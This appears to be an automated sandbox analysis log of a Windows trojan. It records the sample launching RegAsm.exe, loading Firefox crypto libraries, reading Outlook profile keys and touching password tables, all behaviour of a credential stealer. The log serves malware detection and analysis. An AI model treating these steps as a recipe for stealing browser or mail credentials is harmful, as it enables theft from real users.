Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8CB8C0 rand_s,NtQueryVirtualMemory,	2_2_6C8CB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6C8CB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C86F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB0988	0_2_00EB0988
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB0979	0_2_00EB0979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB0BA7	0_2_00EB0BA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB0E31	0_2_00EB0E31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8635A0	2_2_6C8635A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C876C80	2_2_6C876C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8C34A0	2_2_6C8C34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8CC4A0	2_2_6C8CC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8764C0	2_2_6C8764C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C88D4D0	2_2_6C88D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86D4E0	2_2_6C86D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A6CF0	2_2_6C8A6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8DAC00	2_2_6C8DAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A5C10	2_2_6C8A5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8B2C10	2_2_6C8B2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D542B	2_2_6C8D542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C875440	2_2_6C875440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D545C	2_2_6C8D545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A0DD0	2_2_6C8A0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8C85F0	2_2_6C8C85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C87FD00	2_2_6C87FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C88ED10	2_2_6C88ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C890512	2_2_6C890512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8CE680	2_2_6C8CE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C885E90	2_2_6C885E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8C4EA0	2_2_6C8C4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D76E3	2_2_6C8D76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86BEF0	2_2_6C86BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C87FEF0	2_2_6C87FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8B5600	2_2_6C8B5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A7E10	2_2_6C8A7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8C9E30	2_2_6C8C9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8B2E4E	2_2_6C8B2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C884640	2_2_6C884640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C889E50	2_2_6C889E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A3E50	2_2_6C8A3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D6E63	2_2_6C8D6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86C670	2_2_6C86C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8B77A0	2_2_6C8B77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86DFE0	2_2_6C86DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C896FF0	2_2_6C896FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C879F00	2_2_6C879F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A7710	2_2_6C8A7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8960A0	2_2_6C8960A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D50C7	2_2_6C8D50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C88C0E0	2_2_6C88C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A58E0	2_2_6C8A58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C877810	2_2_6C877810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8AB820	2_2_6C8AB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8B4820	2_2_6C8B4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C888850	2_2_6C888850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C88D850	2_2_6C88D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8AF070	2_2_6C8AF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A5190	2_2_6C8A5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8C2990	2_2_6C8C2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86C9A0	2_2_6C86C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C89D9B0	2_2_6C89D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C88A940	2_2_6C88A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C87D960	2_2_6C87D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8BB970	2_2_6C8BB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8DB170	2_2_6C8DB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8DBA90	2_2_6C8DBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8622A0	2_2_6C8622A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C894AA0	2_2_6C894AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C87CAB0	2_2_6C87CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D2AB0	2_2_6C8D2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A8AC0	2_2_6C8A8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C881AF0	2_2_6C881AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8AE2F0	2_2_6C8AE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8A9A60	2_2_6C8A9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C86F380	2_2_6C86F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8D53C8	2_2_6C8D53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8AD320	2_2_6C8AD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C865340	2_2_6C865340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C87C370	2_2_6C87C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C96ECD0	2_2_6C96ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C90ECC0	2_2_6C90ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9D6C00	2_2_6C9D6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9EAC30	2_2_6C9EAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C91AC60	2_2_6C91AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A6D90	2_2_6C9A6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C914DB0	2_2_6C914DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA9CDC0	2_2_6CA9CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA98D20	2_2_6CA98D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9DED70	2_2_6C9DED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA3AD50	2_2_6CA3AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C996E90	2_2_6C996E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C91AEC0	2_2_6C91AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9B0EC0	2_2_6C9B0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9F0E20	2_2_6C9F0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9AEE70	2_2_6C9AEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA58FB0	2_2_6CA58FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C91EFB0	2_2_6C91EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9EEFF0	2_2_6C9EEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C910FE0	2_2_6C910FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C916F10	2_2_6C916F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA50F20	2_2_6CA50F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C97EF40	2_2_6C97EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9D2F70	2_2_6C9D2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA168E0	2_2_6CA168E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C960820	2_2_6C960820

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C89CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C8A94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CA909D0 appears 38 times

Source: file.exe, 00000000.00000000.2108469840.0000000000644000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAUTOFMT.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2111216701.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameAUTOFMT.EXEj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/23@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C8C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C8C7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: HJEBGHIEBFIJKECBKFHD.2.dr, FHIDAKFIJJKJJJKEBKJE.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264307331.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: c:\iid7c08xh50i\obj\Re\ease\ppZ.pdb4, source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
